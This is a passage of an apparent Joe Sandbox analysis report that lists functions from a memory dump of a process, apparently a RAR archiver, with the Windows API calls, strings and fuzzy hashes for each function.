Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 63ae987077db39b18cf30f3f9a6d60a5092a8d8f4155411af1d7abcba61ca722
Instruction ID: 5a2ac23e18356972cef1ca304da4f4070965b162fd2b450f09ad2c513136f70f
Opcode Fuzzy Hash: 63ae987077db39b18cf30f3f9a6d60a5092a8d8f4155411af1d7abcba61ca722
Instruction Fuzzy Hash: 31316136609B81DADB61CF25E8402BE73A4FB89754F540136EA9D83B58DF3CD946CB00

Function 00007FF6AA19EF50 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF6AA19EE47), ref: 00007FF6AA19EF73
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,00007FF6AA19EE47), ref: 00007FF6AA19EF84
LookupPrivilegeValueW.ADVAPI32 ref: 00007FF6AA19EFA7
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF6AA19EFCA
GetLastError.KERNEL32 ref: 00007FF6AA19EFD4
CloseHandle.KERNEL32 ref: 00007FF6AA19EFE7

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentErrorHandleLastLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 3398352648-0
Opcode ID: a68743f79c0fdba85814f3f902c484d9b924ee88fd84a1759920b380f60e4056
Instruction ID: b562f9a8d879f38552c6ab3cc845e33a920eb46b2553fd1be0bc5363ac0799d2
Opcode Fuzzy Hash: a68743f79c0fdba85814f3f902c484d9b924ee88fd84a1759920b380f60e4056
Instruction Fuzzy Hash: DB116335619741D6EB508F21E84056E73A0FF88B80F44413BEA8E83658DF3CE806CB40

Function 00007FF6AA1842E0 Relevance: 6.3, APIs: 4, Instructions: 344COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6AA1872C4: new.LIBCMT ref: 00007FF6AA1873DE

Part of subcall function 00007FF6AA188010: SetLastError.KERNEL32 ref: 00007FF6AA18803D

new.LIBCMT ref: 00007FF6AA18448C
new.LIBCMT ref: 00007FF6AA1844C5
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6AA184573
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6AA184584

Part of subcall function 00007FF6AA19CA40: _CxxThrowException.LIBVCRUNTIME ref: 00007FF6AA19CEDE

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: ExceptionThrow$ErrorLaststd::bad_alloc::bad_alloc
String ID:
API String ID: 3116915952-0
Opcode ID: b50682ea8b281155ee065a764beae75b9f37a97ff4cffd0bdd8a4d9240ecf0c6
Instruction ID: 2ad2a5b321c565e63700096f8b1e5adb779d889b40abf431a77731e74dd94f89
Opcode Fuzzy Hash: b50682ea8b281155ee065a764beae75b9f37a97ff4cffd0bdd8a4d9240ecf0c6
Instruction Fuzzy Hash: 17E16326A1AA82E1EB22EB25D4501FD63A5FF89B84F4540B3DE4D87796DE3CD907C700

Function 00007FF6AA1A3A70 Relevance: 6.1, APIs: 4, Instructions: 74fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,00007FF6AA1A11B0,?,?,?,00000000,?,?,00007FF6AA19F30F,00000000,00007FF6AA186380,?,00007FF6AA182EC8), ref: 00007FF6AA1A3AC4
CreateFileW.KERNEL32(?,?,?,00007FF6AA1A11B0,?,?,?,00000000,?,?,00007FF6AA19F30F,00000000,00007FF6AA186380,?,00007FF6AA182EC8), ref: 00007FF6AA1A3B0A
DeviceIoControl.KERNEL32 ref: 00007FF6AA1A3B55
CloseHandle.KERNEL32(?,?,?,00007FF6AA1A11B0,?,?,?,00000000,?,?,00007FF6AA19F30F,00000000,00007FF6AA186380,?,00007FF6AA182EC8), ref: 00007FF6AA1A3B60

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: CreateFile$CloseControlDeviceHandle
String ID:
API String ID: 998109204-0
Opcode ID: eff6c290fb367c5b76febf0d76c2ae076eb862a10f6af346eafb357c39462c7d
Instruction ID: a740b9073bda232986be3210b77674d34ac57c60ed5feaa72f9f48222ef55186
Opcode Fuzzy Hash: eff6c290fb367c5b76febf0d76c2ae076eb862a10f6af346eafb357c39462c7d
Instruction Fuzzy Hash: 9B318136619B81D6E7608F11B44469A77A5FB887E4F004336EAA943BD4DF3CD9568B00

Function 00007FF6AA188884 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 324COMMON

Download Yara Rule

Strings

CMT, xrefs: 00007FF6AA188D2A

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID:
String ID: CMT
API String ID: 0-2756464174
Opcode ID: a16dee74380204c9c30fa4e199fe9bf2e4989a6c72111b3352134e7331b26900
Instruction ID: ac1e8b54c6d729dcbb051c20439081ed94d0576b99339f4e35f92658e796e7a9
Opcode Fuzzy Hash: a16dee74380204c9c30fa4e199fe9bf2e4989a6c72111b3352134e7331b26900
Instruction Fuzzy Hash: 77D1D562A1A692E1EA22DB25D4501BD63A1FF89BC0F4445B3DA5E877D9DF3CE943C300

Function 00007FF6AA1E86D4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6AA1E8704

Part of subcall function 00007FF6AA1E4E3C: GetCurrentProcess.KERNEL32(00007FF6AA1E9CC5), ref: 00007FF6AA1E4E69

Strings

*?, xrefs: 00007FF6AA1E872B
., xrefs: 00007FF6AA1E8B24

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: CurrentProcess_invalid_parameter_noinfo
String ID: *?$.
API String ID: 2518042432-3972193922
Opcode ID: 354f185c14a0bc8d05e3972864cc7dbacf8a132eb4984f49e6355014e857c6aa
Instruction ID: 40ab94ce6a2a5e42b8a07fa182282d563d120987439694395325dbc073f9e64a
Opcode Fuzzy Hash: 354f185c14a0bc8d05e3972864cc7dbacf8a132eb4984f49e6355014e857c6aa
Instruction Fuzzy Hash: 4251F362F16A95D5EB22DFA298004BC67A5FB4ABD8B444532DE4D97F85DF3CD8428300

Function 00007FF6AA1CB340 Relevance: 4.5, APIs: 3, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 00007FF6AA1CB39A
CheckTokenMembership.ADVAPI32 ref: 00007FF6AA1CB3B1
FreeSid.ADVAPI32 ref: 00007FF6AA1CB3C2

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: db3c1d02e190598f29aa164aeddc5f855d0a4ca8ba77325bab1d25996cb1689a
Instruction ID: 9657c3d8a706b2c8c94c151d13b363c4717d2df711ab857e8792b2359d5ed842
Opcode Fuzzy Hash: db3c1d02e190598f29aa164aeddc5f855d0a4ca8ba77325bab1d25996cb1689a
Instruction Fuzzy Hash: F4111672B14641DAEB108FB6E8912AE7BB0FB48748F40153ADA8E93A58DF3CD545CB04

Function 00007FF6AA19CAFC Relevance: 3.0, APIs: 2, Instructions: 27windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,?,00007FF6AA19CDE2), ref: 00007FF6AA19CB11
FormatMessageW.KERNEL32(?,?,?,?,?,?,?,00007FF6AA19CDE2), ref: 00007FF6AA19CB3B

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 5edc9aacada912d44111c0c5b3025bcfc37222d54029d4996b892e874874bebb
Instruction ID: 8c9895fb446368f5a831919edaa5eef8d3e6f8108df031b23380852662320aa0
Opcode Fuzzy Hash: 5edc9aacada912d44111c0c5b3025bcfc37222d54029d4996b892e874874bebb
Instruction Fuzzy Hash: E9F05421B08781D7E3118F16B54011AE7A4FF85BD4F048175EA8993B58DF7CC9528704

Function 00007FF6AA1A3144 Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceExW.KERNEL32(00007FF6AA1A2684), ref: 00007FF6AA1A319F

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: 336a33042f1e52100b28f5a1ad6ae687e8956255ef3791e684bc327077314d0d
Instruction ID: 0eab96005cf1572ec36766762bf72370391e0c0f7d11bcd0182ff83520347625
Opcode Fuzzy Hash: 336a33042f1e52100b28f5a1ad6ae687e8956255ef3791e684bc327077314d0d
Instruction Fuzzy Hash: D8014C72629681D7EB71DB15E4513AAB3A1FB84744F800572E68CC2688DF3CEA0ACF40

Function 00007FF6AA1E6130 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6AA1E62AD

Strings

nan(snan), xrefs: 00007FF6AA1E61D0
inf, xrefs: 00007FF6AA1E61B6
NAN(IND), xrefs: 00007FF6AA1E61DB
NAN, xrefs: 00007FF6AA1E6191
nan(ind), xrefs: 00007FF6AA1E61E6
INF, xrefs: 00007FF6AA1E61A3
nan, xrefs: 00007FF6AA1E6198
NAN(SNAN), xrefs: 00007FF6AA1E61C5

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: INF$NAN$NAN(IND)$NAN(SNAN)$inf$nan$nan(ind)$nan(snan)
API String ID: 3215553584-2617248754
Opcode ID: 336881e81ddd14afa9560f251b33c86b073c2b2d41bd1fd01ec7cedf827ef5ce
Instruction ID: 46e5c70b22f794b8bd3625baed61c06048e66baba98430e4d9606cd2bd3c2322
Opcode Fuzzy Hash: 336881e81ddd14afa9560f251b33c86b073c2b2d41bd1fd01ec7cedf827ef5ce
Instruction Fuzzy Hash: F941BD32B0AB85E9E712CF64E8417AD37A4EB05398F40417BEE5C87B95DE3CD8268344

Function 00007FF6AA197988 Relevance: 13.6, APIs: 9, Instructions: 60COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(00000000,00000100,?,?,00000002,00007FF6AA197892), ref: 00007FF6AA1979BC
GetStdHandle.KERNEL32 ref: 00007FF6AA1979CA
GetConsoleMode.KERNEL32 ref: 00007FF6AA1979E0
GetConsoleMode.KERNEL32 ref: 00007FF6AA1979EE
SetConsoleMode.KERNEL32 ref: 00007FF6AA1979FC
SetConsoleMode.KERNEL32 ref: 00007FF6AA197A0A
ReadConsoleW.KERNEL32 ref: 00007FF6AA197A24
SetConsoleMode.KERNEL32 ref: 00007FF6AA197A3A
SetConsoleMode.KERNEL32 ref: 00007FF6AA197A47

Part of subcall function 00007FF6AA1982E4: fflush.LIBCMT ref: 00007FF6AA19832F

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: Console$Mode$Handle$Readfflush
String ID:
API String ID: 1039280553-0
Opcode ID: 5c62bb105008418d5d8f1a35d4748ced2dc44b1bf30dc7e2d2292546f420945d
Instruction ID: ea59f2685efaec65aa8febbacdfcb90fa276792341e02f3cf9742976fe541d95
Opcode Fuzzy Hash: 5c62bb105008418d5d8f1a35d4748ced2dc44b1bf30dc7e2d2292546f420945d
Instruction Fuzzy Hash: E121C225B1A682EBEA429F21A90013D6361FF89BA0F140177EE4A43764EE3CED47C700

Function 00007FF6AA1D0140 Relevance: 12.2, APIs: 8, Instructions: 205COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6AA1D0211
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6AA1D0222
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6AA1D022D
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6AA1D023E
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6AA1D03D3
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6AA1D03E4
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6AA1D03EF
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6AA1D0400

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: ExceptionThrowstd::bad_alloc::bad_alloc
String ID:
API String ID: 932687459-0
Opcode ID: 17b6f32cd8d6fcc81585299b8a9163aaa78fd032cef7b8e26f7336cc4ddc1b9c
Instruction ID: d380af119c4e695a3c2865de6a9bc111d290fc5337397174922b7a4fbb1debb7
Opcode Fuzzy Hash: 17b6f32cd8d6fcc81585299b8a9163aaa78fd032cef7b8e26f7336cc4ddc1b9c
Instruction Fuzzy Hash: E281C422A0EA82E5FB529A11E5503BD63E0EB44B94F184176DA4E87B99DF7CED43C304

Function 00007FF6AA18C468 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 420COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6AA18C7AE
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6AA18C97F
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6AA18C9DC

Strings

xc%u, xrefs: 00007FF6AA18C9CC
x%u, xrefs: 00007FF6AA18C96F
;%u, xrefs: 00007FF6AA18C79E

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: swprintf
String ID: ;%u$x%u$xc%u
API String ID: 233258989-2277559157
Opcode ID: 18e8202548affe00674286321b5f124759c48e138fb2ddf063aaae7488dbebd7
Instruction ID: 4ceb676b30e12bde186a62a54c6f679062416b124708392d7c2ad5afb456544b
